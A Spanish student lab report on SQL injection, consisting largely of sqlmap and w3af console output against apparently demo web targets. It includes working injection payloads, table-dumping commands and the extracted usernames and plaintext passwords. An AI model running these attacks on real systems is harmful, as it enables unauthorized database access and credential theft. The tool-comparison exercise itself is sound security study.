SEGURIDAD
Ivn Martn Valderas
SQL INJECTION (III)]
[
Contenido
1. A) [Link] ............................................................................ 2 SQLmap ....................................................................................................................... 2
b) W3af ................................................................................................................................... 8 2. A) [Link] 10 SQLmap ........................................................................................................................... 10
b) W3af ................................................................................................................................. 13 3. Otros: ............................................................................................................................ 14
[Link] 14 A) B) A) SQLmap ........................................................................................................................... 14 W3af ................................................................................................................................ 15 SQLmap ........................................................................................................................... 16
B) W3af .............................................................................................................................. 17
1. [Link] A) SQLmap
root@bt:/pentest/database/sqlmap# python [Link] -u "[Link] [Link]" --level=3 --risk=3 --flush-session --technique=B --batch
[*] starting at: [Link] [Link] [INFO] using '/home/stamparm/Work/sqlmap/trunk/sqlmap/output/[Link] [Link]/session' as session file [Link] [INFO] flushing session file [Link] [INFO] testing connection to the target url [Link] [INFO] heuristics detected web page charset 'ascii' [Link] [INFO] sqlmap got a 302 redirect to '[Link] 0/[Link]'. do you want to follow redirects from now on (or stay on the orig inal page)? [Y/n] Y [Link] [INFO] testing if the url is stable, wait a few seconds [Link] [INFO] url is stable [Link] [INFO] testing if GET parameter 'get' is dynamic [Link] [WARNING] GET parameter 'get' appears to be not dynamic [Link] [WARNING] heuristic test shows that GET parameter 'get' might not be injectable [Link] [INFO] testing sql injection on GET parameter 'get' [Link] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [Link] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause' [Link] [INFO] GET parameter 'get' is 'OR boolean-based blind - WHERE or HAVI NG clause' injectable [Link] [INFO] checking if the injection point on GET parameter 'get' is a fa lse positive [Link] [INFO] GET parameter 'get' is vulnerable. Do you want to keep testing the others? [y/N] N sqlmap identified the following injection points with a total of 88 HTTP(s) requ ests: --Place: GET Parameter: get Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: get=-9653' OR NOT (7754=7754) AND 'cxJP'='cxJP --[Link] [INFO] manual usage of GET payloads requires url encoding
[Link] [INFO] testing Microsoft Access [Link] [INFO] confirming Microsoft Access [Link] [INFO] the back-end DBMS is Microsoft Access web server operating system: Windows 2003 web application technology: [Link], Microsoft IIS 6.0 back-end DBMS: Microsoft Access
[Link] [WARNING] HTTP error codes detected during testing: 500 (Internal Server Error) - 24 times [Link] [INFO] Fetched data logged to text files under '/home/stamparm/Work/s qlmap/trunk/sqlmap/output/[Link]'
root@bt:/pentest/database/sqlmap# python [Link] -u "[Link] /[Link]?get=email@[Link]" --batch --tables --threads=8
[*] starting at: [Link] [Link] [INFO] using '/home/stamparm/Work/sqlmap/trunk/sqlmap/output/[Link] [Link]/session' as session file [Link] [INFO] resuming injection data from session file [Link] [INFO] resuming back-end DBMS 'microsoft access' from session file [Link] [INFO] testing connection to the target url [Link] [INFO] heuristics detected web page charset 'ascii' [Link] [INFO] sqlmap got a 302 redirect to '[Link] 0/[Link]'. do you want to follow redirects from now on (or stay on the orig inal page)? [Y/n] Y sqlmap identified the following injection points with a total of 0 HTTP(s) reque sts: --Place: GET Parameter: get Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: get=-9653' OR NOT (7754=7754) AND 'cxJP'='cxJP --[Link] [INFO] manual usage of GET payloads requires url encoding [Link] [INFO] the back-end DBMS is Microsoft Access web server operating system: Windows 2003 web application technology: [Link], Microsoft IIS 6.0 back-end DBMS: Microsoft Access [Link] [INFO] fetching tables for database: `Microsoft_Access_masterdb` [Link] [INFO] fetching number of tables for database '`Microsoft_Access_mast erdb`' [Link] [INFO] retrieved: [Link] [WARNING] unable to retrieve the number of tables for database '`Micr osoft_Access_masterdb`' [Link] [ERROR] cannot retrieve table names, back-end DBMS is Access [Link] [INFO] do you want to use common table existence check? [Y/n/q] Y [Link] [INFO] checking table existence using items from '/home/stamparm/Work /sqlmap/trunk/sqlmap/txt/[Link]' [Link] [INFO] adding words used on web page to the check list [Link] [INFO] starting 8 threads [Link] [INFO] retrieved: password
Database: Microsoft_Access_masterdb [1 table] +----------+ | password | +----------+
[Link] [WARNING] HTTP error codes detected during testing: 500 (Internal Server Error) - 3091 times [Link] [INFO] Fetched data logged to text files under '/home/stamparm/Work/s qlmap/trunk/sqlmap/output/[Link]' [*] shutting down at: [Link]
root@bt:/pentest/database/sqlmap# python [Link] -u "[Link] /[Link]?get=email@[Link]" --batch --columns -T password --threads=8
[Link] [INFO] using '/home/stamparm/Work/sqlmap/trunk/sqlmap/output/[Link] [Link]/session' as session file [Link] [INFO] resuming injection data from session file [Link] [INFO] resuming back-end DBMS 'microsoft access' from session file [Link] [INFO] resuming brute forced table name 'password' from session file [Link] [INFO] testing connection to the target url [Link] [INFO] heuristics detected web page charset 'ascii' [Link] [INFO] sqlmap got a 302 redirect to '[Link] 0/[Link]'. do you want to follow redirects from now on (or stay on the orig inal page)? [Y/n] Y sqlmap identified the following injection points with a total of 0 HTTP(s) reque sts: --Place: GET Parameter: get Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: get=-9653' OR NOT (7754=7754) AND 'cxJP'='cxJP --[Link] [INFO] manual usage of GET payloads requires url encoding [Link] [INFO] the back-end DBMS is Microsoft Access web server operating system: Windows 2003 web application technology: [Link], Microsoft IIS 6.0 back-end DBMS: Microsoft Access [Link] [ERROR] cannot retrieve column names, back-end DBMS is Access [Link] [INFO] do you want to use common columns existence check? [Y/n/q] Y [Link] [INFO] checking column existence using items from '/home/stamparm/Wor k/sqlmap/trunk/sqlmap/txt/[Link]' [Link] [INFO] starting 8 threads [Link] [INFO] retrieved: name [Link] [INFO] retrieved: country [Link] [INFO] retrieved: surname [Link] [INFO] retrieved: pass [Link] [INFO] retrieved: user [Link] [INFO] retrieved: admin [Link] [INFO] retrieved: active
Database: `Microsoft_Access_masterdb` Table: password [7 columns] +---------+-------------+ | Column | Type | +---------+-------------+ | active | non-numeric | | admin | non-numeric | | country | non-numeric | | name | non-numeric | | pass | non-numeric | | surname | non-numeric | | user | non-numeric | +---------+-------------+
[Link] [WARNING] HTTP error codes detected during testing: 500 (Internal Server Error) - 2442 times [Link] [INFO] Fetched data logged to text files under '/home/stamparm/Work/s qlmap/trunk/sqlmap/output/[Link]'
root@bt:/pentest/database/sqlmap# python [Link] -u "[Link] /[Link]?get=email@[Link]" --batch --dump -T password -C admin,pass,sur name,user --threads=8 --fresh-queries
[Link] [INFO] using '/home/stamparm/Work/sqlmap/trunk/sqlmap/output/[Link] [Link]/session' as session file [Link] [INFO] resuming injection data from session file [Link] [INFO] resuming back-end DBMS 'microsoft access' from session file [Link] [INFO] resuming brute forced table name 'password' from session file [Link] [INFO] resuming brute forced column name 'name' for table 'password' from session file [Link] [INFO] resuming brute forced column name 'country' for table 'passwor d' from session file [Link] [INFO] resuming brute forced column name 'surname' for table 'passwor d' from session file [Link] [INFO] resuming brute forced column name 'pass' for table 'password' from session file [Link] [INFO] resuming brute forced column name 'user' for table 'password' from session file [Link] [INFO] resuming brute forced column name 'admin' for table 'password' from session file [Link] [INFO] resuming brute forced column name 'active' for table 'password ' from session file [Link] [INFO] resuming brute forced column name 'name' for table 'password' from session file [Link] [INFO] testing connection to the target url [Link] [INFO] heuristics detected web page charset 'ascii' [Link] [INFO] sqlmap got a 302 redirect to '[Link] 0/[Link]'. do you want to follow redirects from now on (or stay on the orig inal page)? [Y/n] Y sqlmap identified the following injection points with a total of 0 HTTP(s) reque sts: --Place: GET Parameter: get Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: get=-9653' OR NOT (7754=7754) AND 'cxJP'='cxJP --[Link] [INFO] manual usage of GET payloads requires url encoding [Link] [INFO] the back-end DBMS is Microsoft Access web server operating system: Windows 2003 web application technology: [Link], Microsoft IIS 6.0 back-end DBMS: Microsoft Access [Link] [ERROR] cannot retrieve column names, back-end DBMS is Access [Link] [INFO] fetching column(s) 'admin, surname, user, pass' entries for ta ble 'password' on database 'Microsoft_Access_masterdb' [Link] [INFO] fetching number of columns 'admin, surname, user, pass' entrie s for table 'password' on database 'Microsoft_Access_masterdb' [Link] [INFO] retrieved: 73 [Link] [INFO] fetching number of distinct values for column 'user' [Link] [INFO] retrieved: 7 [Link] [INFO] fetching number of distinct values for column 'pass' [Link] [INFO] retrieved: 6 [Link] [INFO] fetching number of distinct values for column 'admin' [Link] [INFO] retrieved: 2 [Link] [INFO] fetching number of distinct values for column 'surname' [Link] [INFO] retrieved: 5 [Link] [WARNING] no proper pivot column provided (with unique values). all r ows can't be retrieved. [Link] [INFO] retrieving the length of query output [Link] [INFO] retrieved: 11 [Link] [INFO] retrieved: 576-11-1121 [Link] [INFO] retrieving the length of query output
[Link] [INFO] retrieved: 4 [Link] [INFO] retrieved: pass [Link] [INFO] retrieving the length of query output [Link] [INFO] retrieved: 2 [Link] [INFO] retrieved: no [Link] [INFO] retrieving the length of query output [Link] [INFO] retrieved: 5 [Link] [INFO] retrieved: Shawn [Link] [INFO] retrieving the length of query output [Link] [INFO] retrieved: 11 [Link] [INFO] retrieved: 576-14-1122 [Link] [INFO] retrieving the length of query output [Link] [INFO] retrieved: 5 [Link] [INFO] retrieved: divad [Link] [INFO] retrieving the length of query output [Link] [INFO] retrieved: 2 [Link] [INFO] retrieved: no [Link] [INFO] retrieving the length of query output [Link] [INFO] retrieved: [Link] [INFO] retrieved: [Link] [INFO] retrieving the length of query output [Link] [INFO] retrieved: 11 [Link] [INFO] retrieved: 592-11-8393 [Link] [INFO] retrieving the length of query output [Link] [INFO] retrieved: 4 [Link] [INFO] retrieved: pass [Link] [INFO] retrieving the length of query output [Link] [INFO] retrieved: 2 [Link] [INFO] retrieved: no [Link] [INFO] retrieving the length of query output [Link] [INFO] retrieved: [Link] [INFO] retrieved: [Link] [INFO] retrieving the length of query output [Link] [INFO] retrieved: 11 [Link] [INFO] retrieved: 991-99-8765 [Link] [INFO] retrieving the length of query output [Link] [INFO] retrieved: 14 [Link] [INFO] retrieved: canwehavemoney [Link] [INFO] retrieving the length of query output [Link] [INFO] retrieved: 2 [Link] [INFO] retrieved: no [Link] [INFO] retrieving the length of query output [Link] [INFO] retrieved: [Link] [INFO] retrieved: [Link] [INFO] retrieving the length of query output [Link] [INFO] retrieved: 5 [Link] [INFO] retrieved: admin [Link] [INFO] retrieving the length of query output [Link] [INFO] retrieved: 5 [Link] [INFO] retrieved: admin [Link] [INFO] retrieving the length of query output [Link] [INFO] retrieved: 3 [Link] [INFO] retrieved: yes [Link] [INFO] retrieving the length of query output [Link] [INFO] retrieved: 5 [Link] [INFO] retrieved: Admin [Link] [INFO] retrieving the length of query output [Link] [INFO] retrieved: 13 [Link] [INFO] retrieved: bleh@[Link] [Link] [INFO] retrieving the length of query output [Link] [INFO] retrieved: 10 [Link] [INFO] retrieved: bleh88bleh [Link] [INFO] retrieving the length of query output [Link] [INFO] retrieved: 2 [Link] [INFO] retrieved: no [Link] [INFO] retrieving the length of query output [Link] [INFO] retrieved: 8 [Link] [INFO] retrieved: blehbleh [Link] [INFO] retrieving the length of query output [Link] [INFO] retrieved: 4 [Link] [INFO] retrieved: user
[Link] [INFO] retrieving the length of query output [Link] [INFO] retrieved: 4 [Link] [INFO] retrieved: user [Link] [INFO] retrieving the length of query output [Link] [INFO] retrieved: 2 [Link] [INFO] retrieved: no [Link] [INFO] retrieving the length of query output [Link] [INFO] retrieved: 4 [Link] [INFO] retrieved: User [Link] [INFO] retrieving the length of query output [Link] [INFO] retrieved: [Link] [INFO] retrieved:
Database: Microsoft_Access_masterdb Table: password [7 entries] +-------+----------------+----------+---------------+ | admin | pass | surname | user | +-------+----------------+----------+---------------+ | no | pass | Shawn | 576-11-1121 | | no | divad | NULL | 576-14-1122 | | no | pass | NULL | 592-11-8393 | | no | canwehavemoney | NULL | 991-99-8765 | | yes | admin | Admin | admin | | no | bleh88bleh | blehbleh | bleh@[Link] | | no | user | User | user | +-------+----------------+----------+---------------+
[Link] [INFO] Table 'Microsoft_Access_masterdb.password' dumped to CSV file '/home/stamparm/Work/sqlmap/trunk/sqlmap/output/[Link]/dump/Mic rosoft_Access_masterdb/[Link]' [Link] [WARNING] HTTP error codes detected during testing: 500 (Internal Server Error) - 715 times [Link] [INFO] Fetched data logged to text files under '/home/stamparm/Work/s qlmap/trunk/sqlmap/output/[Link]'
[Link]
b) W3af
Primero configuramos el programa, en modo consola desde BackTrack5: w3af>>> plugins w3af/plugins>>> audit sqli w3af/plugins>>> output console,textFile w3af/plugins>>> output config textFile w3af/plugins/output/config:textFile>>> set fileName [Link] w3af/plugins/output/config:textFile>>> back w3af/plugins>>> back
Ejecutamos un escaneo:
w3af>>> target w3af/config:target>>> set target [Link] w3af/config:target>>> back w3af>>> start
Auto-enabling plugin: grep.error500 Found 3 URLs and 5 different points of injection. The list of URLs is:
- [Link] - [Link] - [Link]
The list of fuzzable requests is: - [Link] | Method: GET - [Link] | Method: POST | Parameters: (login="", password="", graphicOption="minimum") - [Link] | Method: POST | Parameters: (login="", password="", graphicOption="minimum", graphicOption="standard") - [Link] | Method: POST | Parameters: (login="", password="", graphicOption="standard")
- [Link] | Method: POST | Parameters: (txtPassPhrase="", txtHidden="This was h...", txtName="") A SQL error was found in the response supplied by the web application, the error is (only a fragment is shown): "'80040e14'". The error was found on response with id 23. A SQL error was found in the response supplied by the web application, the error is (only a fragment is shown): "Microsoft OLE DB Provider for ODBC Drivers". The error was found on response with id 23. A SQL error was found in the response supplied by the web application, the error is (only a fragment is shown): "[Microsoft][ODBC Microsoft Access Driver]". The error was found on response with id 23. SQL injection in a Microsoft SQL database was found at: "[Link] using HTTP method POST. The sent post-data was: "login=d'z"0&password=FrAmE30.&graphicOption=minimum&graphicOption=standard". The modified parameter was "login". This vulnerability was found in the request with id 23. Scan finished in 20 seconds. w3af>>>
[Link]
2. [Link]
A) SQLmap
root@bt:/pentest/database/sqlmap# python [Link] -u "[Link] [Link]" --data "txtFirstName=Joza&txtLastName=Jozic&txtSocialScurity No=112-12-3222&txtDOB=1981-11-11&txtAddress=Gornje+Jelenje+3&txtCity=BlizuTamo&d rpState=&txtTelephoneNo=&txtEmail=[Link]%[Link]&txtAnnualIncome=10212&d rpLoanType=Home&sendbutton1=Submit" --batch --banner --flush-session -p txtAnnua lIncome --level=3 --risk=3
[Link] [INFO] using 'pentest/database/sqlmap/output/[Link]/session' a s session file [Link] [INFO] flushing session file [Link] [INFO] testing connection to the target url [Link] [INFO] testing if the url is stable, wait a few seconds [Link] [INFO] url is stable [Link] [INFO] heuristic test shows that POST parameter 'txtAnnualIncome' mig ht be injectable (possible DBMS: MySQL) [Link] [INFO] testing sql injection on POST parameter 'txtAnnualIncome' [Link] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [Link] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause' [Link] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (Gene ric comment)' [Link] [INFO] testing 'Generic boolean-based blind - Parameter replace (orig inal value)' [Link] [INFO] testing 'Generic boolean-based blind - GROUP BY and ORDER BY c lauses' [Link] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQ L comment)' [Link] [INFO] testing 'MySQL boolean-based blind - WHERE or HAVING clause (R LIKE)' [Link] [INFO] testing 'MySQL boolean-based blind - Parameter replace (MAKE_S ET - original value)' [Link] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace (original value)' [Link] [INFO] testing 'MySQL >= 5.0 boolean-based blind - GROUP BY and ORDER BY clauses' [Link] [INFO] testing 'MySQL stacked conditional-error blind queries' [Link] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause ' [Link] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause ' [Link] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE or HAVING clause' [Link] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause' [Link] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause' [Link] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [Link] [INFO] testing 'MySQL >= 5.0 error-based - GROUP BY and ORDER BY clau ses' [Link] [INFO] testing 'MySQL > 5.0.11 stacked queries' [Link] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)' [Link] [INFO] testing 'MySQL > 5.0.11 AND time-based blind' [Link] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query)' [Link] [INFO] POST parameter 'txtAnnualIncome' is 'MySQL < 5.0.12 AND time-b ased blind (heavy query)' injectable [Link] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [Link] [INFO] testing 'MySQL UNION query (random number) - 1 to 10 columns' [Link] [INFO] testing 'MySQL UNION query (NULL) - 11 to 20 columns' [Link] [INFO] testing 'MySQL UNION query (random number) - 11 to 20 columns' [Link] [INFO] testing 'MySQL UNION query (NULL) - 21 to 30 columns' [Link] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[Link] [INFO] testing 'Generic UNION query (random number) - 1 to 10 columns ' [Link] [INFO] testing 'Generic UNION query (NULL) - 11 to 20 columns' [Link] [INFO] testing 'Generic UNION query (random number) - 11 to 20 column s' [Link] [INFO] target url appears to be UNION injectable with 12 columns [Link] [WARNING] if UNION based SQL injection is not detected, please consid er providing --union-char switch (e.g. --union-char=1) and/or try to force the b ack-end DBMS (e.g. --dbms=mysql) [Link] [INFO] testing 'Generic UNION query (NULL) - 21 to 30 columns' [Link] [INFO] checking if the injection point on POST parameter 'txtAnnualIn come' is a false positive POST parameter 'txtAnnualIncome' is vulnerable. Do you want to keep testing the others? [y/N] N sqlmap identified the following injection points with a total of 619 HTTP(s) req uests: --Place: POST Parameter: txtAnnualIncome Type: AND/OR time-based blind Title: MySQL < 5.0.12 AND time-based blind (heavy query) Payload: txtFirstName=Joza&txtLastName=Jozic&txtSocialScurityNo=112-12-3222& txtDOB=1981-11-11&txtAddress=Gornje Jelenje 3&txtCity=BlizuTamo&drpState=&txtTel ephoneNo=&txtEmail=[Link]@[Link]&txtAnnualIncome=10212 AND 7764=BENCHMARK (5000000,MD5(CHAR(83,69,77,114)))&drpLoanType=Home&sendbutton1=Submit --[Link] [INFO] testing MySQL [Link] [INFO] confirming MySQL [Link] [WARNING] adjusting time delay to 3 seconds (due to good response tim es) [Link] [INFO] the back-end DBMS is MySQL [Link] [INFO] fetching banner [Link] [INFO] retrieved: 4.0.18-nt
web server operating system: Windows web application technology: Apache 2.0.49, PHP 4.3.7 back-end DBMS operating system: Windows back-end DBMS: MySQL < 5.0.0 banner: '4.0.18-nt'
root@bt:/pentest/database/sqlmap# python [Link] -u "[Link] [Link]" --data "txtFirstName=Joza&txtLastName=Jozic&txtSocialScurity No=112-12-3222&txtDOB=1981-11-11&txtAddress=Gornje+Jelenje+3&txtCity=BlizuTamo&d rpState=&txtTelephoneNo=&txtEmail=[Link]%[Link]&txtAnnualIncome=10212&d rpLoanType=Home&sendbutton1=Submit" --batch --current-db
[Link] [INFO] using 'pentest/database/sqlmap/output/[Link]/session' a s session file [Link] [INFO] resuming injection data from session file [Link] [INFO] resuming back-end DBMS 'mysql 4' from session file [Link] [INFO] testing connection to the target url sqlmap identified the following injection points with a total of 0 HTTP(s) reque sts: --Place: POST Parameter: txtAnnualIncome Type: AND/OR time-based blind Title: MySQL < 5.0.12 AND time-based blind (heavy query) Payload: txtFirstName=Joza&txtLastName=Jozic&txtSocialScurityNo=112-12-3222& txtDOB=1981-11-11&txtAddress=Gornje Jelenje 3&txtCity=BlizuTamo&drpState=&txtTel ephoneNo=&txtEmail=[Link]@[Link]&txtAnnualIncome=10212 AND 7764=BENCHMARK (5000000,MD5(CHAR(83,69,77,114)))&drpLoanType=Home&sendbutton1=Submit --[Link] [INFO] the back-end DBMS is MySQL web server operating system: Windows web application technology: Apache 2.0.49, PHP 4.3.7 back-end DBMS: MySQL 4 [Link] [INFO] fetching current database [Link] [WARNING] time-based comparison needs larger statistical model. Makin g a few dummy requests, please wait..
[Link] [WARNING] adjusting time delay to 1 second (due to good response times) bank current database: 'bank'
[Link] [INFO] Fetched data logged to text files under '/Pentest/database/sqlmap/ou Tput/[Link]' [*] shutting down at [Link]
[Link]
b) W3af
w3af>>> target w3af/config:target>>> set target [Link] w3af/config:target>>> back w3af>>> start
Found 3 URLs and 5 different points of injection. The list of URLs is:
- [Link] - [Link] - [Link]
The list of fuzzable requests is: - [Link] | Method: GET - [Link] | Method: POST | Parameters: (login="", password="", graphicOption="minimum") - [Link] | Method: POST | Parameters: (login="", password="", graphicOption="minimum", graphicOption="standard") - [Link] | Method: POST | Parameters: (login="", password="", graphicOption="standard") - [Link] | Method: POST | Parameters: (txtPassPhrase="", txtHidden="This was h...", txtName="") SQL injection in a Microsoft SQL database was found at: "[Link] using HTTP method POST. The sent post-data was: "login=d'z"0&password=FrAmE30.&graphicOption=minimum&graphicOption=standard". The modified parameter was "login". This vulnerability was found in the request with id 23. Scan finished in 13 seconds. w3af>>>
3. Otros: [Link] A) SQLmap root@bt:/pentest/database/sqlmap# ./[Link] -u "[Link] -b
[Link] [INFO] using '/pentest/database/sqlmap/output/[Link]/session' as session file [Link] [INFO] testing connection to the target url [Link] [INFO] heuristics detected web page charset 'ascii' [Link] [INFO] testing if the url is stable, wait a few seconds [Link] [INFO] url is stable [Link] [INFO] testing if GET parameter 'id' is dynamic [Link] [INFO] confirming that GET parameter 'id' is dynamic [Link] [INFO] GET parameter 'id' is dynamic [Link] [WARNING] heuristic test shows that GET parameter 'id' might not be injectable [Link] [INFO] testing sql injection on GET parameter 'id' [Link] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [Link] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' parsed error message(s) showed that the back-end DBMS could be MySQL. Do you want to skip test payloads specific for other DBMSes? [Y/n] y [Link] [INFO] testing 'MySQL > 5.0.11 stacked queries' [Link] [INFO] testing 'MySQL > 5.0.11 AND time-based blind' [Link] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [Link] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[Link] [WARNING] GET parameter 'id' is not injectable
[Link] [CRITICAL] all parameters appear to be not injectable. Try to increase --level/--risk values to perform more tests. Rerun by providing either a valid --string or a valid --regexp, refer to the user's manual for details [Link] [WARNING] HTTP error codes detected during testing: 404 (Not Found) - 88 times
A pesar de que la pgina estuviera en la lista, no posee vulnerabilidad con SQLmap, a mano tampoco se ha detectado ninguna, posiblemente se halla solucionado.
B) W3af
w3af>>> target w3af/config:target>>> set target [Link] w3af/config:target>>> back w3af>>> start
Found 4 URLs and 6 different points of injection. The list of URLs is: - [Link] - [Link] - [Link] - [Link] The list of fuzzable requests is: - [Link] | Method: GET - [Link] | Method: GET - [Link] | Method: POST | Parameters: (login="", password="", graphicOption="minimum") - [Link] | Method: POST | Parameters: (login="", password="", graphicOption="minimum", graphicOption="standard") - [Link] | Method: POST | Parameters: (login="", password="", graphicOption="standard") - [Link] | Method: POST | Parameters: (txtPassPhrase="", txtHidden="This was h...", txtName="") SQL injection in a Microsoft SQL database was found at: "[Link] using HTTP method POST. The sent post-data was: "login=d'z"0&password=FrAmE30.&graphicOption=minimum&graphicOption=standard". The modified parameter was "login". This vulnerability was found in the request with id 23. Scan finished in 12 seconds. w3af>>>
Como podemos ver, al no borrar los anteriores escaneos, se mantienen asique ponemos en negrita el actual
[Link] A) SQLmap root@bt:/pentest/database/sqlmap# ./[Link] -u "[Link] -b
[Link] [INFO] using '/pentest/database/sqlmap/output/[Link]/session' as session file [Link] [INFO] testing connection to the target url [Link] [INFO] testing if the url is stable, wait a few seconds [Link] [INFO] url is stable [Link] [INFO] testing if GET parameter 'id' is dynamic [Link] [WARNING] GET parameter 'id' appears to be not dynamic [Link] [WARNING] heuristic test shows that GET parameter 'id' might not be injectable [Link] [INFO] testing sql injection on GET parameter 'id' [Link] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [Link] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' [Link] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [Link] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [Link] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [Link] [INFO] testing 'MySQL > 5.0.11 stacked queries' [Link] [INFO] testing 'PostgreSQL > 8.1 stacked queries' [Link] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries' [Link] [INFO] testing 'MySQL > 5.0.11 AND time-based blind' [Link] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [Link] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [Link] [INFO] testing 'Oracle AND time-based blind' [Link] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [Link] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [Link] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS
[Link] [WARNING] GET parameter 'id' is not injectable
[Link] [CRITICAL] all parameters appear to be not injectable. Try to increase --level/--risk values to perform more tests. Rerun by providing either a valid --string or a valid --regexp, refer to the user's manual for details
Encontramos otra no injectable
B) W3af
w3af>>> target w3af/config:target>>> set target [Link] w3af/config:target>>> back w3af>>> start Found 5 URLs and 7 different points of injection. The list of URLs is: - [Link] - [Link] - [Link] - [Link] - [Link] The list of fuzzable requests is: - [Link] | Method: GET - [Link] | Method: GET - [Link] | Method: GET - [Link] | Method: POST | Parameters: (login="", password="", graphicOption="minimum") - [Link] | Method: POST | Parameters: (login="", password="", graphicOption="minimum", graphicOption="standard") - [Link] | Method: POST | Parameters: (login="", password="", graphicOption="standard") - [Link] | Method: POST | Parameters: (txtPassPhrase="", txtHidden="This was h...", txtName="") SQL injection in a Microsoft SQL database was found at: "[Link] using HTTP method POST. The sent post-data was: "login=d'z"0&password=FrAmE30.&graphicOption=minimum&graphicOption=standard". The modified parameter was "login". This vulnerability was found in the request with id 23. Scan finished in 11 seconds. w3af>>>
Como hemos podido comprobar en los 2 ltimos escaneos, estamos ante un conflicto de programas, SQLmap por una parte no encuentra ninguna vulnerabilidad mientras que w3af s. Ah es donde entra el recurso humano, aunque hemos probado a mano 6 no hemos encontrado ninguna vulnerabilidad.
